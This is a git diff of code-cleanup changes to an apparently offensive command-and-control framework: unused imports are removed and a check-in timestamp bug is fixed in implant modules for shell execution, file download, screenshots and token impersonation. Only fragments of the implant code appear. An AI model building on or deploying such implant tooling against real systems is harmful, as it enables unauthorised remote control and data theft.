@@ -40,10 +40,10 @@ when not defined(agent):
when defined(agent):
import os, std/paths, strutils, strformat
import os, std/paths, strformat
import ../agent/utils/io
import ../agent/protocol/result
import ../common/[utils, serialize]
import ../common/serialize
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult =
try:
@@ -60,9 +60,9 @@ when defined(agent):
packer.addDataWithLengthPrefix(string.toBytes(filePath))
packer.addDataWithLengthPrefix(string.toBytes(fileBytes))
let result = packer.pack()
let data = packer.pack()
return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, result)
return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, data)
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))

View File

@@ -28,11 +28,11 @@ when defined(agent):
import winim/lean
import winim/inc/wingdi
import strutils, strformat, times, pixie
import strformat, times, pixie
import stb_image/write as stbiw
import ../agent/utils/io
import ../agent/protocol/result
import ../common/[utils, serialize]
import ../common/serialize
proc bmpToJpeg(data: seq[byte], quality: int = 80): seq[byte] =
let img: Image = decodeImage(Bytes.toString(data))

View File

@@ -29,10 +29,9 @@ when not defined(agent):
when defined(agent):
import osproc, strutils, strformat
import osproc, strformat
import ../agent/utils/io
import ../agent/protocol/result
import ../common/utils
proc executeShell(ctx: AgentCtx, task: Task): TaskResult =
try:

View File

@@ -41,10 +41,9 @@ when not defined(agent):
when defined(agent):
import os, strutils, strformat
import strutils, strformat
import ../agent/utils/io
import ../agent/protocol/result
import ../common/utils
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult =

View File

@@ -37,10 +37,9 @@ when not defined(agent):
when defined(agent):
import winim
import os, strutils, sequtils, strformat, tables, algorithm
import os, strutils, strformat, tables, algorithm
import ../agent/utils/io
import ../agent/protocol/result
import ../common/utils
# TODO: Add user context to process information
type

View File

@@ -91,7 +91,6 @@ when defined(agent):
import ../agent/core/token
import ../agent/utils/io
import ../agent/protocol/result
import ../common/utils
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult =
try:

View File

@@ -10,7 +10,7 @@ import ../../common/[types, profile]
proc serve(listener: Listener) {.thread.} =
try:
listener.server.serve(Port(listener.port), listener.address)
except Exception as err:
except Exception:
discard
proc listenerStart*(cq: Conquest, listenerId: string, hosts: string, address: string, port: int, protocol: Protocol) =

View File

@@ -58,7 +58,7 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
os: os,
elevated: elevated,
firstCheckin: cast[int64](firstCheckin),
latestCheckin: cast[int64](firstCheckin),
latestCheckin: cast[int64](latestCheckin),
process: process,
modules: cast[uint32](modules),
sessionKey: sessionKey,